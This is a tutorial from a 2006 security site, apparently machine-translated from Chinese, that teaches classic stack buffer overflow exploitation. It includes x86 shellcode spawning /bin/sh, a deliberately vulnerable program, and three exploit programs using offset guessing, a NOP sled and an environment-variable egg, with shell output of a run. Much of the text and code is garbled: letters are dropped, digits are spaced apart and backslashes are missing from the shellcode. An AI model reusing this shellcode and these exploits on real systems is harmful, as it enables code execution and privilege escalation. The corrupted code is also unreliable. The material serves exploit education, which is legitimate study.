From head to toe understanding the buffer overflow-vulnerability warning-the black bar safety net

2006-05-08T00:00:00
ID MYHACK58:6220068966
Type myhack58
Reporter 佚名
Modified 2006-05-08T00:00:00

Description

In this guide, we will discuss what is buffer overflow and how to use it. You must understand the C language and Assembly language, if you are familiar with GDB while more is good, of course it is not very necessary.

(Memory organization)memory is divided into 3 parts

1. The text area(program area

This section is used to store program instructions. So, this area is marked as read-only, any write operation will cause an error.

2. The data area

This portion of memory static variables, its size can be by the brk()system call to change.

3. Stack

The stack has a special property, is the date placed on the inside of it, will be the first to be moved out of the stack. In Computer Science, which is commonly referred to as last in, first out(LIFO)。 The stack is used for function and procedure use. A process in the implementation process to change the program execution flow, this point and the jump is somewhat similar. But the jump is not the same as it is at the completion of his instruction is returned to the calling point, the return address in the procedure is called before it is set in the stack.

It is also used to dynamically allocate in the function variables, and function parameters and return values.

The return address and the instruction pointer

The computer to execute an instruction, and retention point to the next instruction pointer(IP). When the function or procedure is called,the previous in the stack is retained prior to the instruction pointer will be used as the return address(RET). After the execution is completed, the RET will replace the IP, the program then continues to execute the original process.

A buffer overflow

Let us use an example to illustrate the following buffer overflow.

|

lt;++> buffer/example. c void main(){ char big_string [a 1 0 0]; char small_string [a 5 0] a; memset(big_string,0x41,1 0 0); / strcpy(char to,char from) / trcpy(small_string,big_string);} lt;--> end of example. c


This program used two array, memset() to the array big_strings added to the character 0x41 (= A). Then it will big_string added to the small_string. Obviously, the array small_string can't hold 1 0 0 characters, and therefore, the overflow generated.

Next we see Memory changes the situation:

the [big_string] [the small_string] [the SFP] [the RET] is

In the overflow, the SFP(Stack Frame Pointer)the stack pointer and RET return address will be A cover off. This means that the RET be changed to 0x41414141(0x41 is A hexadecimal value). When the function is returned, the instruction pointer(Instruction Pointer)will be already overwritten the RET replacement. Then, the computer will try to perform at 0x41414141 at the instructions. This will lead to a period of conflict, because this address is already beyond the processing range.

Discover vulnerabilities

Now we know we can overwrite the RET to change the application of the normal process, we can experiment a bit. Not with A to cover, but with some special address to achieve our purpose.

Arbitrary code execution

Now we need something to point to address and perform. In most cases, we need to generate a shell, of course this is not the only method.

Before: FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF B = the buffer E = stack frame pointer R = return address F = other data After: FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF S = shellcode A = address pointing to the shellcode F = other data


Using C to generate shell code as follows:

lt;++> buffer/shell. c void main(){ char *name [2] on; ame[0] = "/bin/sh"; ame[1] = 0x0; execve(name [of 0 s]], name, 0x0); exit(0); } lt;--> end of shellcode


Here, we're not going to explain how to write a shellcode, because it requires a lot of compilation of knowledge. That will deviate from our discussion of the topic. In fact a lot of the shellcode can be we use. For those who want to know how to produce people, according to the following steps to complete:

- Use the-static flag switch to compile the program above

- Use GDB to open the above program, and then use the“disassemble main”command

- Removed all unnecessary code

- Assembly to re-write it

- Compile and then use GDB to open, use the“disassemble main”command

- In the instruction address using the x/bx command, to retrieve the hex-code.

Or you can use these codes

char shellcode[]= "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";


Find address

When we try to overflow a buffer of time, this program to find the buffer address. The answer to this question is: for each program, the stack is at the same address on the start. Therefore, as long as know the stack address where we can guess the buffer address.

Following this program will tell we this app's stack pointer:

lt;++> buffer/getsp. c unsigned long get_sp(void){ asm("movl %esp, %eax); } void main(){ fprintf(stdout,"0x%xn",get_sp()); } lt;--> end of getsp. c


Try following this example

lt;++> buffer/hole. c void main(int argc,char argv[]){ char buffer[5 1 2]; if (argc > 1) / otherwise we crash our little program / trcpy(buffer,argv[1]); } lt;--> end of hole. c lt;++> buffer/exploit1. c

include <stdlib. h>

define DEFAULT_OFFSET 0

define DEFAULT_BUFFER_SIZE 5 1 2

char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_sp(void) { asm("movl %esp,%eax"); } void main(int argc, char argv[]) { char buff, ptr; long addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (! (buff = malloc(bsize))) { rintf("Can't allocate memory. n"); exit(0); } addr = get_sp() - offset; rintf("Using address: 0x%xn", addr); tr = buff; addr_ptr = (long ) ptr; for (i = 0; i < bsize; i+=4) (addr_ptr++) = addr; tr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; uff of [bsize - 1] A = '0'; memcpy(buff,"BUF=",4); utenv(buff); system("/bin/bash"); } lt;--> end of exploit1. c


Now we can guess the offset (bufferaddress = stackpointer + offset).

[the hosts of]$ exploit1 6 0 0

Using address: 0xbffff6c3

[the hosts of]$. / hole $BUF

[the hosts of]$ exploit1 6 0 0 1 0 0

Using address: 0xbffffce6

[the hosts of]$. / hole $BUF

egmentation fault

etc.

etc.

As you know, this process is almost impossible to happen, so that we had to go to the guess the more accurate of the overflow address. In order to increase our chances, we can be in our buffer overflow shellcode with NOP empty operation instruction. Because we no need to guess it accurately the overflow address. While the NOP instruction is used to delay the execution. If this is to overwrite the return address pointer in the NOP string, our code can be described in a step execution.

The memory contents should look like this:

FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

N = NOP

S = shellcode

A = address pointing to the shellcode

F = other data

We put the original code modified a bit

lt;++> buffer/exploit2. c

include <stdlib. h>

define DEFAULT_OFFSET 0

define DEFAULT_BUFFER_SIZE 5 1 2

define NOP 0x90

char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_sp(void) { asm("movl %esp,%eax"); } void main(int argc, char argv[]) { char buff, ptr; long addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (! (buff = malloc(bsize))) { rintf("Can't allocate memory. n"); exit(0); } addr = get_sp() - offset; rintf("Using address: 0x%xn", addr); tr = buff; addr_ptr = (long ) ptr; for (i = 0; i < bsize; i+=4) (addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) uff[i] = NOP; tr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; uff of [bsize - 1] A = '0'; memcpy(buff,"BUF=",4); utenv(buff); system("/bin/bash"); } lt;--> end of exploit2. c [the hosts of]$ exploit2 6 0 0 Using address: 0xbffff6c3 [the hosts of]$. / hole $BUF egmentation fault [the hosts of]$ exploit2 6 0 0 1 0 0 Using address: 0xbffffce6 [the hosts of]$. / hole $BUF

exit

[the hosts of]$


In order to better improve our code, we call these shellcode into an environment variable. Then we can use the address of this variable to overflow a buffer. This method can increase our chances. Use the setenv()function to call, and shellcode is sent to the environment variable.

lt;++> buffer/exploit3. c

include <stdlib. h>

define DEFAULT_OFFSET 0

define DEFAULT_BUFFER_SIZE 5 1 2

define DEFAULT_EGG_SIZE 2 0 4 8

define NOP 0x90

char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; unsigned long get_esp(void) { asm("movl %esp,%eax"); } void main(int argc, char argv[]) { char buff, ptr, egg; long addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (! (buff = malloc(bsize))) { rintf("Can't allocate memory. n"); exit(0); } if (! (egg = malloc(eggsize))) { rintf("Can't allocate memory. n"); exit(0); } addr = get_esp() - offset; rintf("Using address: 0x%xn", addr); tr = buff; addr_ptr = (long ) ptr; for (i = 0; i < bsize; i+=4) (addr_ptr++) = addr; tr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) (ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; uff of [bsize - 1] A = '0'; egg the [eggsize - 1] A = '0'; memcpy(egg,"BUF=",4); utenv(egg); memcpy(buff,"RET=",4); utenv(buff); system("/bin/bash"); } end of exploit3. c [the hosts of]$ exploit2 6 0 0 Using address: 0xbffff5d7[the hosts of]$. / hole $RET

exit

[the hosts of]$


Look for overflow

Of course there can be more accurately find the buffer overflow method, that is, read it in the source program. Because Linux is an open system, you can easily get it in the source program.

Looking for no boundaries check library function calls, such as:

trcpy(), strcat(), sprintf(), vsprintf(), scanf()

Other dangerous functions such as: in the“When”cycle through GETC()and getchar (), the strncat function of the error.